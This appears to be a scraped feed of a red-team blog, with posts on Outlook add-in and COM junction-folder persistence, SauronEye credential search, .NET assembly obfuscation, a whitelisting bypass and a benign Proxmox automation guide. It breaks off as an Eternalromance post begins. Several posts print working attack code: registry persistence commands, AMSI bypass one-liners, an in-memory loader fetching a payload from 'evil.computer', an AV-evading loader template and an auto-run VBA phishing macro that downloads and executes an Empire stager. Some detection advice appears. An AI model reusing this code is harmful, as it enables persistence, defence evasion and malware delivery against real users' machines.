</span><span class="n">New-ItemProperty</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="s2">"HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"</span><span class="w"> </span><span class="nt">-Name</span><span class="w"> </span><span class="s2">"Loadbehavior"</span><span class="w"> </span><span class="nt">-Value</span><span class="w"> </span><span class="nx">0x00000003</span><span class="w"> </span><span class="nt">-Type</span><span class="w"> </span><span class="nx">DWord</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Out-Null</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="kr">function</span><span class="w"> </span><span class="nf">Remove-OutlookAddin</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="cm"><#
</span><span class="cs">.SYNOPSIS</span><span class="cm">
Removes the Outlook add-in
Author: @_vivami
</span><span class="cs">.EXAMPLE</span><span class="cm">
PS> Remove-OutlookAddin
#></span><span class="w">
</span><span class="nv">$RegistryPaths</span><span class="w"> </span><span class="o">=</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\Office\Outlook\Addins\OutlookExtension"</span><span class="p">),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\SolutionMetadata"</span><span class="p">),</span><span class="w">
</span><span class="c">#@("HKCU:\Software\Microsoft\VSTO\SolutionMetadata\{FA2052FB-9E23-43C8-A0EF-43BBB710DC61}"),</span><span class="w">
</span><span class="p">@(</span><span class="s2">"HKCU:\Software\Microsoft\VSTO\Security\Inclusion\1e1f0cff-ff7a-406d-bd82-e53809a5e93a"</span><span class="p">)</span><span class="w">
</span><span class="nv">$RegistryPaths</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="kr">foreach</span><span class="w"> </span><span class="p">{</span><span class="w">
</span><span class="n">Remove-Item</span><span class="w"> </span><span class="nt">-Path</span><span class="w"> </span><span class="err">$</span><span class="p">(</span><span class="bp">$_</span><span class="p">)</span><span class="w"> </span><span class="nt">-Force</span><span class="w"> </span><span class="nt">-Recurse</span><span class="w">
</span><span class="p">}</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p><img src="https://vanmieghem.io/assets/images/2021-01-08-stealth-outlook-persistence/6.png" alt="6" /></p>
<p>Sure enough, it worked! The add-in was installed and loaded by Outlook upon startup, without a pop-up.</p>
<p><img src="https://vanmieghem.io/assets/images/2021-01-08-stealth-outlook-persistence/calc-pop.gif" alt="7" /></p>
<p>Taking a look at Sysinternals’ AutoRuns, we can see that this VSTO add-in is not detected.</p>
<p><img src="https://vanmieghem.io/assets/images/2021-01-08-stealth-outlook-persistence/8.png" alt="8" /></p>
<h3 id="msrc">MSRC</h3>
<p>I’ve reached out to Microsoft Security Response Center, but since this is not a breach of a <a href="https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria">security boundary</a>, this bug does not meet the bar for servicing and will not be fixed.</p>
<h3 id="detection">Detection</h3>
<p>To detect this persistence technique, monitor “RegistryEvent Value Set”-events (Sysmon Event ID 13) on the following paths:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>HKCU:\Software\Microsoft\Office\Outlook\Addins\
HKCU:\Software\Microsoft\Office\Word\Addins\
HKCU:\Software\Microsoft\Office\Excel\Addins\
HKCU:\Software\Microsoft\Office\Powerpoint\Addins\
HKCU:\Software\Microsoft\VSTO\Security\Inclusion\
</code></pre></div></div>
<p>You can try all of this yourself with the PoC code on my <a href="https://github.com/vivami/OutlookParasite">GitHub repo</a>.</p>vivamiIn 2019 I was researching new “stealthy” persistence techniques that were not yet published or commonly known. I was triggered by the techniques that (mis)used plugins for programs on the target’s machine. Particularly interesting targets are browsers, e-mail clients and messaging apps, as they’re typically started after boot.Automating Proxmox with Terraform and Ansible2020-12-30T00:00:00+00:002020-12-30T00:00:00+00:00https://vanmieghem.io/automating-proxmox-with-terraform-ansible<p>During the hoidays I played around a bit with automating parts of my Proxmox homeserver setup. It consists of various LXC containers (CT) and Virtual Machines (VMs) for dedicated tasks and while I don’t regularly setup new containers and VMs, it’d be nice to have an quick and automated way of doing so.</p>
<p>For this automation I <a href="https://github.com/vivami/proxmox-automation">created</a> a simple configuration that provisions a VM or CT using Terraform and Ansible. Telemate developed a <a href="https://github.com/Telmate/terraform-provider-proxmox">Terraform provider</a> that maps Terraform functionality to the Proxmox API, so start by defining the use of that provider in <code class="language-plaintext highlighter-rouge">version.tf</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>terraform {
required_providers {
proxmox = {
source = "Telmate/proxmox"
version = "2.6.6"
}
}
}
</code></pre></div></div>
<p>In <code class="language-plaintext highlighter-rouge">main.tf</code> I’ve defined the variables for the Telemate Proxmox provider, for which the values of these are assigned in <code class="language-plaintext highlighter-rouge">var.tf</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>provider "proxmox" {
pm_api_url = var.proxmox_host["pm_api_url"]
pm_user = var.proxmox_host["pm_user"]
pm_tls_insecure = true
}
</code></pre></div></div>
<p>The next block in <code class="language-plaintext highlighter-rouge">main.tf</code> defines a Proxmox QEMU VM <code class="language-plaintext highlighter-rouge">resource "proxmox_vm_qemu" {}</code> or <code class="language-plaintext highlighter-rouge">resource "proxmox_lxc" {}</code>. Probably the most interesting part here it that my Terraform configuration supports the creation of multiple resources at once, by defining the hostnames and IP addresses respectively in <code class="language-plaintext highlighter-rouge">var.tf</code>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>variable "hostnames" {
description = "Virtual machines to be created"
type = list(string)
default = ["prod-vm", "staging-vm", "dev-vm"]
}
variable "ips" {
description = "IPs of the VMs, respective to the hostname order"
type = list(string)
default = ["10.0.42.83", "10.0.42.84", "10.0.42.85"]
}
</code></pre></div></div>
<p>In addition, I use Ansible as a provioner after the VM has been created. The host that kicks off the Terraform configuration will also run the Ansible playbook that in my default configuration will update the OS, create a sudo user, secure SSH and upload the SSH public keys you specify in <code class="language-plaintext highlighter-rouge">ansible/files/authorized_keys</code>.</p>
<p>I use the Terraform <code class="language-plaintext highlighter-rouge">connection</code> block before provisioning to check whether the VM or container initialization is complete. Terraform will retry the connection and only continue executing the configuration when that connection is successful.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> # defines ssh connection to check when the VM is ready for ansible provisioning
connection {
host = var.ips[count.index]
user = var.user
private_key = file(var.ssh_keys["priv"])
agent = false
timeout = "3m"
}
provisioner "remote-exec" {
inline = [ "echo 'Cool, we are ready for provisioning'"]
}
provisioner "local-exec" {
working_dir = "../../ansible/"
command = "ansible-playbook -u ${var.user} --key-file ${var.ssh_keys["priv"]} -i ${var.ips[count.index]}, provision.yaml"
}
</code></pre></div></div>
<h4 id="cloud-init">Cloud-init</h4>
<p>The configuration will use a VM template created by <a href="https://pve.proxmox.com/wiki/Cloud-Init_Support">cloud-init</a>. There are various guides on how to configure one. Make sure the name of the templates matches clone in main.tf.</p>
<h3 id="usage">Usage</h3>
<p>The complete Terraform configuration and Ansible scripts I created are available on <a href="https://github.com/vivami/proxmox-automation">Github</a>.</p>
<ol>
<li>Install Terraform and Ansible on your machine
<ul>
<li>macOS: brew install terraform ansible</li>
<li>Ubuntu: apt install ansible and install terraform</li>
</ul>
</li>
<li><code class="language-plaintext highlighter-rouge">git clone https://github.com/vivami/proxmox-automation.git</code></li>
<li>Define your SSH keys in <code class="language-plaintext highlighter-rouge">proxmox-automation/ansible/files/authorized_keys</code></li>
<li>
<p>Go to one of the directories <code class="language-plaintext highlighter-rouge">tf/ct/</code> or <code class="language-plaintext highlighter-rouge">tf/vm/</code> and run <code class="language-plaintext highlighter-rouge">terraform init</code>. This will initialize the Terraform configuration and pull in the Proxmox provider.
<img src="https://vanmieghem.io/assets/images/2020-12-30-automating-proxmox-with-terraform-ansible/1.png" alt="1" /></p>
</li>
<li>Store your Proxmox password in the environment variable <code class="language-plaintext highlighter-rouge">$PM_PASS</code>:
<ul>
<li><code class="language-plaintext highlighter-rouge">set +o history</code> (disable history before storing secrets in variables)</li>
<li><code class="language-plaintext highlighter-rouge">export PM_PASS='your_proxmox_pass'</code></li>
</ul>
</li>
<li>Configure <code class="language-plaintext highlighter-rouge">var.tf</code> (e.g. add your own private keys, hostnames/IPs) and <code class="language-plaintext highlighter-rouge">main.tf</code> where necessary</li>
<li>Run <code class="language-plaintext highlighter-rouge">terraform plan -out plan</code> and if everything seems good <code class="language-plaintext highlighter-rouge">terraform apply</code>.</li>
<li>SSH into the box using <code class="language-plaintext highlighter-rouge">ssh notroot@<configured_IP> -i ~/.ssh/private_key</code></li>
</ol>
<p>To destory to infra created run terraform destroy.
<img src="https://vanmieghem.io/assets/images/2020-12-30-automating-proxmox-with-terraform-ansible/2.png" alt="2" /></p>vivamiDuring the hoidays I played around a bit with automating parts of my Proxmox homeserver setup. It consists of various LXC containers (CT) and Virtual Machines (VMs) for dedicated tasks and while I don’t regularly setup new containers and VMs, it’d be nice to have an quick and automated way of doing so.SauronEye: a search tool to facilitate your hunger for credentials2019-11-26T00:00:00+00:002019-11-26T00:00:00+00:00https://vanmieghem.io/sauroneye<p>SauronEye is a search tool built to aid red teams in finding files containing specific keywords (i.e. files containing credentials, passwords and other secrets). It’s a .NET command-line tool that is small enough to be loaded as an inline assembly in most common C2 frameworks such as Cobalt Strike.</p>
<p><strong>Features:</strong></p>
<ul>
<li>Search multiple (network) drives</li>
<li>Search contents of files</li>
<li>Search contents of Microsoft Office files (<code class="language-plaintext highlighter-rouge">.doc</code>, <code class="language-plaintext highlighter-rouge">.docx</code>, <code class="language-plaintext highlighter-rouge">.xls</code>, <code class="language-plaintext highlighter-rouge">.xlsx</code>)</li>
<li>Find VBA macros in old 2003 <code class="language-plaintext highlighter-rouge">.xls</code> and <code class="language-plaintext highlighter-rouge">.doc</code> files</li>
<li>Search multiple drives multi-threaded for increased performance</li>
<li>Supports regular expressions in search keywords</li>
<li>Compatible with Cobalt Strike’s execute-assembly</li>
</ul>
<p>It’s also quite fast, can do 50k files, totalling 1,3 TB on a network drive in under a minute (with realistic file filters). Searches a <code class="language-plaintext highlighter-rouge">C:\</code> (on a cheap SATA SSD) in about 15 seconds.</p>
<p>SauronEye is available for download on <a href="https://github.com/vivami/SauronEye">Github</a>.</p>vivamiSauronEye is a search tool built to aid red teams in finding files containing specific keywords (i.e. files containing credentials, passwords and other secrets). It’s a .NET command-line tool that is small enough to be loaded as an inline assembly in most common C2 frameworks such as Cobalt Strike.Persisting our implant like the CIA2019-02-22T00:00:00+00:002019-02-22T00:00:00+00:00https://vanmieghem.io/persisting-like-a-cia-agent<p>In March 2017 Wikileaks published the CIA “Vault 7” leaks. Compared to the shadowbrokers NSA leak, this was not an impressive leak and was hardly retooled into red teaming tools. A while back a colleague of mine pointed me to <a href="https://wikileaks.org/ciav7p1/cms/page_13763373.html">this</a> Vault7 page. Last weekend I found some time to get this technique to work.</p>
<p>I tend to only write about things that I haven’t found published somewhere else, so this blog post only lays out the operational details on getting this technique to work. Please read the Vault7 page first and if you’re interested, more research related to <a href="https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence">COM hijacking</a> and on <a href="https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/">Abusing the COM Registry Structure</a>.</p>
<p>Basically this method works by registering a COM CLSID and using that CLSID to point to an (in this case) executable. When Windows encounters this CLSID, it performs a lookup in the registry and executes the corresponding COM object, given the correct properties are set. So called “Junction Folders” are then used to trigger CLSID lookups in Windows.</p>
<h3 id="configuring-peristence">Configuring peristence</h3>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>PS C:\> [guid]::newguid()
Guid
----
781a4161-4490-408d-814a-93efe3b100c3
</code></pre></div></div>
<p>The third command is most interesting because this is where you point the CLSID to your executable on disk, in this case <code class="language-plaintext highlighter-rouge">C:\beacon.dll</code>. For this method to work, there are some requirements to be met by this executable (more about that later).</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
New-Item –Path "HKCU:\Software\Classes\CLSID\" -Name "{781a4161-4490-408d-814a-93efe3b100c3}"
New-Item –Path "HKCU:\Software\Classes\CLSID\{781a4161-4490-408d-814a-93efe3b100c3}" -Name "InprocServer32"
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{781a4161-4490-408d-814a-93efe3b100c3}\InprocServer32" -Name "(Default)" -Value "C:\beacon.dll" -PropertyType "String"
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{781a4161-4490-408d-814a-93efe3b100c3}\InprocServer32" -Name "ThreadingModel" -Value "Apartment" -PropertyType "String"
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{781a4161-4490-408d-814a-93efe3b100c3}\InprocServer32" -Name "LoadWithoutCOM" -Value "" -PropertyType "String"
New-Item –Path "HKCU:\Software\Classes\CLSID\{781a4161-4490-408d-814a-93efe3b100c3}" -Name "ShellFolder"
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{781a4161-4490-408d-814a-93efe3b100c3}\ShellFolder" -Name "HideOnDesktop" -Value "" -PropertyType "String"
New-ItemProperty -Path "HKCU:\Software\Classes\CLSID\{781a4161-4490-408d-814a-93efe3b100c3}\ShellFolder" -Name "Attributes" -Value 0xf090013d -Type DWord
</code></pre></div></div>
<p>Then you create your junction folder, using this CLSID we just registered. Windows Explorer will help us by hiding the CLSID:</p>
<p><img src="https://vanmieghem.io/assets/images/2019-02-22-persisting-like-the-cia/1.png" alt="1" /></p>
<p><img src="https://vanmieghem.io/assets/images/2019-02-22-persisting-like-the-cia/2.png" alt="2" /></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>New-Item -ItemType Directory -Force -Path "C:\Users\superusr\Appdata\Roaming\Microsoft\Windows\Start Menu\Programs\Windows Accessories\Indexing.{781a4161-4490-408d-814a-93efe3b100c3}"
</code></pre></div></div>
<p>For persistence, this directory should be a directory that Explorer loads when started on boot. CIA recommends using <code class="language-plaintext highlighter-rouge">Windows Accessories</code>, but I’m sure there are other directories. The <code class="language-plaintext highlighter-rouge">Startup</code> directory could also be used but is obviously more suspicious. Procmon could be of help finding those directories that can be used to persist using Windows Explorer (or others).</p>
<h3 id="dll-structure">DLL structure</h3>
<p>I’ve spent some time trying to create a C++ DLL that executes shellcode or a process, but all attempts resulted in <code class="language-plaintext highlighter-rouge">explorer.exe</code> crashing.
Eventually, I tried a stageless x64 DLL generated by Cobalt Strike containing 64-bit shellcode on a x64 version of Windows 10, which did the job.</p>
<p><img src="https://vanmieghem.io/assets/images/2019-02-22-persisting-like-the-cia/3.png" alt="3" /></p>
<p><img src="https://vanmieghem.io/assets/images/2019-02-22-persisting-like-the-cia/4.png" alt="4" /></p>
<p>Based on artifact kit’s source code, a <code class="language-plaintext highlighter-rouge">VirtualAlloc + VirtualProtect + CreateThread</code> execution with stageless 64-bit shellcode should work, but I still have to figure out the exact constrains set by <code class="language-plaintext highlighter-rouge">explorer.exe</code>.</p>
<h3 id="detection">Detection</h3>
<p>Yeah, that’s a bit more difficult. Autoruns does not detect this persistency method. <a href="https://twitter.com/fuseyjz">@fuseyjz</a> from Countercept <a href="https://countercept.com/blog/hunting-for-junction-folder-persistence/">created a script</a> that can be used to hunt for this technique by enumerating folders containing a CLISD in <code class="language-plaintext highlighter-rouge">...\Start Menu\</code> and mapping them against CLSIDs registered in the registry. However, it should be noted that this script only checks <code class="language-plaintext highlighter-rouge">HKCU</code> and that <code class="language-plaintext highlighter-rouge">explorer.exe</code> is not the only process that can be leveraged to perform a CLSID lookup…</p>
<p><img src="https://vanmieghem.io/assets/images/2019-02-22-persisting-like-the-cia/5.png" alt="5" /></p>vivamiIn March 2017 Wikileaks published the CIA “Vault 7” leaks. Compared to the shadowbrokers NSA leak, this was not an impressive leak and was hardly retooled into red teaming tools. A while back a colleague of mine pointed me to this Vault7 page. Last weekend I found some time to get this technique to work.Towards generic .NET assembly obfuscation (Pt. 1)2018-09-01T00:00:00+00:002018-09-01T00:00:00+00:00https://vanmieghem.io/towards-generic-.net-obfuscation<p>About 2 years ago when I entered the red teaming field, PowerShell was huge. It was an easy, elegant and clean way to evade anti-malware solutions. But largely due to the efforts from Microsoft to implement defence capabilities such as <a href="https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/">AMSI and Script Logging into PowerShell (v5)</a>, those happy PowerShell days for red teamers are over. Sure, it’s still possible:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[PSObject]Assmebly.GetType('System.Management.Automation'+'Utils'),GetType('amsiIni'+'tFailed', 'nonPublic, static').setValue($null, $true)
</code></pre></div></div>
<p>or</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
</code></pre></div></div>
<p>but it’s getting more difficult.</p>
<p>So as often, the red team finds other low hanging fruit with which it’s easier to achieve its goal: .NET.</p>
<p>Efforts in the industry are shifting from PowerShell towards .NET based toolkits, <a href="https://github.com/GhostPack/">GhostPack</a>, <a href="https://github.com/tevora-threat/SharpView">SharpView</a>, <a href="https://github.com/djhohnstein/SharpWeb">SharpWeb</a> and <a href="https://github.com/stufus/reconerator">reconerator</a> are examples of those efforts.</p>
<p>Just like with PowerShell modules, it’s often possible to execute those .NET assemblies in memory without touching disk:</p>
<noscript><pre>$wc=New-Object System.Net.WebClient;$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0");$wc.Proxy=[System.Net.WebRequest]::DefaultWebProxy;$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCredentials
$k="XOR\_KEY";$i=0;[byte[]]$b=([byte[]]($wc.DownloadData("https://evil.computer/malware.exe")))|%{$_-bxor$k[$i++%$k.length]}
[System.Reflection.Assembly]::Load($b) | Out-Null
$parameters=@("arg1", "arg2")
[namespace.Class]::Main($parameters)</pre></noscript>
<script src="https://gist.github.com/vivami/70ba16263c07d60075b0d6e5cfd51bc5.js" class="bigger-image"> </script>
<p>or using Cobalt Strike’s 3.11 beacon functionality <code class="language-plaintext highlighter-rouge">execute-assembly</code> [<a href="https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/">1</a>].</p>
<h3 id="obfuscating-net-binaries">Obfuscating .NET binaries</h3>
<p>But sometimes it’s inevitable to drop a .NET assembly to disk, or you want to adhere to general good OpSec practices and want to obfuscate your binaries, just in case. I’d be nice to have an obfuscator for .NET assemblies that can obfuscate any .NET assembly, while leaving its functionality intact.</p>
<p>The idea described here is centred around encapsulation of the .NET assembly and loading the encapsulated assembly via the (not logged or monitored) <code class="language-plaintext highlighter-rouge">Assembly.Load(byte[])</code> .NET method at runtime. The output of our obfuscator should be an assembly that loads the original (malicious) assembly into its own process space. Our obfuscator should perform the following steps:</p>
<h4 id="1-take-a-net-assembly-as-input-obfuscate--encrypt-the-net-assembly-and-encode-it-to-a-base64-string">1. Take a .NET assembly as input, obfuscate / encrypt the .NET assembly and encode it to a base64 string:</h4>
<noscript><pre>String path = args[0];
key = getRandomKey();
String filename = Path.GetFileNameWithoutExtension(path).ToString();
String obfuscatedBin = obfuscateBinary(path);
private String obfuscateBinary(String file) {
byte[] assemblyBytes = fileToByteArray(@file);
byte[] encryptedAssembly = encrypt(assemblyBytes, key);
return System.Convert.ToBase64String(encryptedAssembly);
}</pre></noscript>
<script src="https://gist.github.com/vivami/bdeb32458db2c33655cb46470bd7fdd9.js" class="bigger-image"> </script>
<h4 id="2-create-c-code-that-deobfuscates--decrypts-the-base64-string-and-loads-the-output-via-assemblyloadbyte">2. Create C# code that deobfuscates / decrypts the base64 string and loads the output via <code class="language-plaintext highlighter-rouge">Assembly.Load(byte[])</code>:</h4>
<p>The <code class="language-plaintext highlighter-rouge">srcTemplate</code> variable contains a template for the (outer) assembly output of the obfuscator. Into this template, we copy the obfuscated / encrypted malicious assembly. At runtime, this obfuscated assembly will be deobfuscated and loaded via <code class="language-plaintext highlighter-rouge">Assembly.Load(byte[])</code>. The tricky bit here is that after loading the assembly, we don’t know which method in the assembly <code class="language-plaintext highlighter-rouge">Main</code> is. We can solve this by matching on its features: <code class="language-plaintext highlighter-rouge">public</code>, <code class="language-plaintext highlighter-rouge">static</code> and arguments <code class="language-plaintext highlighter-rouge">String[]</code>. If it fails, we’ll move on to find the next method with these features. When we’ve found the method that matches these features, we’ll invoke it and pass it the arguments obtained from the “outer” assembly.</p>
<noscript><pre>public static string srcTemplate = @"using System;
using System.Collections.Generic;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
namespace Loader {
public static class Loader {
private static readonly byte[] SALT = new byte[] { 0xba, 0xdc, 0x0f, 0xfe, 0xeb, 0xad, 0xbe, 0xfd, 0xea, 0xdb, 0xab, 0xef, 0xac, 0xe8, 0xac, 0xdc };
public static void Main(string[] args) {
byte[] bytes = decrypt(Convert.FromBase64String(Package.dotnetfile), Package.key);
Assembly a = Assembly.Load(bytes);
foreach (Type type in a.GetTypes()) {
try {
object instance = Activator.CreateInstance(type);
object[] procargs = new object[] { args };
var methodInfo = type.GetMethod(""Main"", BindingFlags.NonPublic | BindingFlags.Public | BindingFlags.Static | BindingFlags.FlattenHierarchy);
var result = methodInfo.Invoke(instance, procargs);
}
catch (Exception e) { }
}
}
public static byte[] decrypt(byte[] cipher, string key) { // Left out }
public class Package {
public static string dotnetfile = @""INSERTHERE"";
public static string key = @""KEY"";
}
}";
String obfuscatedBin = obfuscateBinary(path);
String tmpStr = srcTemplate.Replace("INSERTHERE", obfuscatedBin);
String srcFinal = tmpStr.Replace("KEY", key);</pre></noscript>
<script src="https://gist.github.com/vivami/54bca3ce83ef14d9bdae549691e24e91.js" class="bigger-image"> </script>
<h4 id="3-compile-a-new-net-assembly-at-runtime">3. Compile a new .NET assembly at runtime:</h4>
<p>When the template is filled in, we compile the output assembly:</p>
<noscript><pre>compile(srcFinal, filename + "_obfuscated.exe");
static void compile(String source, String outfile) {
var provider_options = new Dictionary<string, string>
{
{"CompilerVersion","v3.5"}
};
var provider = new Microsoft.CSharp.CSharpCodeProvider(provider_options);
var compiler_params = new System.CodeDom.Compiler.CompilerParameters();
compiler_params.OutputAssembly = outfile;
compiler_params.GenerateExecutable = true;
// Compile
var results = provider.CompileAssemblyFromSource(compiler_params, source);
Console.WriteLine("Output file: {0}", outfile);
Console.WriteLine("Number of Errors: {0}", results.Errors.Count);
foreach (System.CodeDom.Compiler.CompilerError err in results.Errors) {
Console.WriteLine("ERROR {0}", err.ErrorText);
}
}</pre></noscript>
<script src="https://gist.github.com/vivami/8b5e117a65ea15f23c2b40a8b15889be.js" class="bigger-image"> </script>
<p>When implementing this yourself, I encourage you to implement your own obfuscation / encryption routines, as well as some sandbox evasion techniques. While this technique bypasses all traditional AV products, leaving the base64 string as is in the “outer” .NET assembly will trigger some “ML engines”, since the assembly looks at lot like a loader: limited code and a large blob of <code class="language-plaintext highlighter-rouge">String</code>. In a following part, I will describe some evasion methods for these “ML engines”.</p>
<p><img src="https://vanmieghem.io/assets/images/2018-08-31-towards-generic-net-obfuscation/1.png" alt="1" /></p>
<figcaption class="caption">SafetyKatz obfuscation.</figcaption>
<p><img src="https://vanmieghem.io/assets/images/2018-08-31-towards-generic-net-obfuscation/2.png" alt="2" /></p>
<figcaption class="caption">Piping of arguments to the encapsulated Seatbelt binary.</figcaption>vivamiAbout 2 years ago when I entered the red teaming field, PowerShell was huge. It was an easy, elegant and clean way to evade anti-malware solutions. But largely due to the efforts from Microsoft to implement defence capabilities such as AMSI and Script Logging into PowerShell (v5), those happy PowerShell days for red teamers are over. Sure, it’s still possible:Phishing between the App Whitelists2017-06-09T00:00:00+00:002017-06-09T00:00:00+00:00https://vanmieghem.io/phishing-between-the-app-whitelists<p>An increasing number of organisations is moving towards virtual desktop environments. They are often easier to administer and maintain, and provide possibilities for additional security layers. One of those security layers more and more encountered at organisations is the RES One Workspace whitelisting solution. While <a href="https://www.blackhillsinfosec.com/how-to-bypass-application-whitelisting-av/">quite</a> <a href="https://msitpros.com/?p=3831">a</a> <a href="https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/">lot</a> was written lately on bypassing AWL (Application Whitelisting), these techniques are aimed towards bypassing Microsofts AppLocker/Device Guard in Windows 10. A reasonably secure configuration of RES One Workspace blocks execution of all of these Microsoft signed binaries (<code>InstallUtil.exe</code>, <code>regsvcs.exe</code>, <code>regasm.exe</code>, <code>regsvr32.exe</code>) used to run code within their context.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-06-09-phishing-between-the-app-whitelists/1.png" alt="1" /></p>
<figcaption class="caption">[Using regasm.exe](https://pentestlab.blog/2017/05/19/applocker-bypass-regasm-and-regsvcs/) to execute <code>dlls</code> blocked by RES One.</figcaption>
<p>RES One also becomes annoying while <a href="https://enigma0x3.net/2016/03/15/phishing-with-empire/">phishing with Empire</a>, as the execution of the Empire stagers is prevented by RES One, blocking the execution of <code>powershell.exe</code> entirely for that victim user.</p>
<p>However, either by mistake or for the sake of keeping intact certain Windows functionality, <code>rundll.exe</code> is typically whitelisted by administrators. Depending on the type of pentest, <code>rundll</code> can be used to spawn a Command Prompt, using the <a href="https://reactos.org">ReactOS</a> <code><a href="http://www.didierstevens.com/files/software/cmd-dll_v0_0_1.zip">cmd.dll</a></code>.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-06-09-phishing-between-the-app-whitelists/2.png" alt="2" /></p>
<figcaption class="caption">Shortcut creation to use cmd.dll via rundll32.exe</figcaption>
<p>Creating the following shortcut to <code>cmd.dll</code> via <code>rundll32.exe</code> yields a pretty functional “Command Prompt”. From there it is oftentimes possible to return to your usual PowerShell environment. Recently, <a href="https://twitter.com/xP3nt4">@xP3nt4</a> created the <a href="https://github.com/p3nt4/PowerShdll">PowerSdll</a> project which is a more functional alternative to <code>cmd.dll</code>.</p>
<p><img src="https://vanmieghem.io/assets/images/2017-06-09-phishing-between-the-app-whitelists/3.png" alt="3" /></p>
<figcaption class="caption">cmd.dll command prompt running under the rundll32.exe context</figcaption>
<p>The PowerSdll project also provides a bypass for our phishing issue. We can now create a macro that downloads the <code>PowerShdll.dll</code> for the right architecture, and uses the downloaded <code>dll</code> to execute a PowerShell script (in this case an Empire stager) via <code>rundll</code>.</p>
<p>The VBA script below is a PoC I wrote that spawns an Empire agent in a RES One environment. It downloads the proper <code>PowerShdll.dll</code> corresponding to the system’s architecture to the user’s <code>Temp</code> directory and executes the script at <code>https://127.0.0.1/Empire_default_launcher.ps1</code> (in this case the output of <code>launcher ListenerName</code>.</p>
<noscript><pre>Sub AutoOpen()
Debugging
End Sub
Sub Document_Open()
Debugging
End Sub
Public Function Debugging() As Variant
DownloadDLL
Dim Str As String
Str = "C:\Windows\System32\rundll32.exe " & Environ("TEMP") & "\powershdll.dll,main . { iwr -useb https://127.0.0.1/Empire_default_launcher.ps1 } ^| iex;"
strComputer = "."
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
errReturn = objProcess.Create(Str, Null, objConfig, intProcessID)
End Function
Sub DownloadDLL()
Dim dll_Loc As String
dll_Loc = Environ("TEMP") & "\powershdll.dll"
If Not Dir(dll_Loc, vbDirectory) = vbNullString Then
Exit Sub
End If
Dim dll_URL As String
#If Win64 Then
dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x64/Release/PowerShdll.dll"
#Else
dll_URL = "https://github.com/p3nt4/PowerShdll/raw/master/dll/bin/x86/Release/PowerShdll.dll"
#End If
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("MSXML2.ServerXMLHTTP.6.0")
WinHttpReq.Open "GET", dll_URL, False
WinHttpReq.send
myURL = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody
oStream.SaveToFile dll_Loc
oStream.Close
End If
End Sub</pre></noscript>
<script src="https://gist.github.com/vivami/03780dd512fec22f3a2bae49f9023384.js" class="bigger-image"> </script>
<h3 id="running-an-awl-solution">Running an AWL solution?</h3>
<ul>
<li>Try to blacklist <code>rundll32.exe</code></li>
<li>Make sure to also include <code>dll's</code> in your AWL. An AWL only checking for executables is not really a (AWL) <strong>solution</strong>.</li>
</ul>vivamiAn increasing number of organisations is moving towards virtual desktop environments. They are often easier to administer and maintain, and provide possibilities for additional security layers. One of those security layers more and more encountered at organisations is the RES One Workspace whitelisting solution. While quite a lot was written lately on bypassing AWL (Application Whitelisting), these techniques are aimed towards bypassing Microsofts AppLocker/Device Guard in Windows 10. A reasonably secure configuration of RES One Workspace blocks execution of all of these Microsoft signed binaries (InstallUtil.exe, regsvcs.exe, regasm.exe, regsvr32.exe) used to run code within their context.Eternalromance: eternal pwnage of Windows Server 2003 and XP2017-04-26T00:00:00+00:002017-04-26T00:00:00+00:00https://vanmieghem.io/eternalromance-eternal-pwnage-of-windows-server-2003-and-xp<p>Most of the write-ups on the <a href="https://github.com/misterch0c/shadowbroker">leaked Equation Group tools</a> by the shadow brokers are <a href="https://www.exploit-db.com/docs/41896.pdf">about the Eternalblue exploit</a>, an RCE SMB exploit that provides SYSTEM to the attacker of Windows 7 and Windows Server 2008 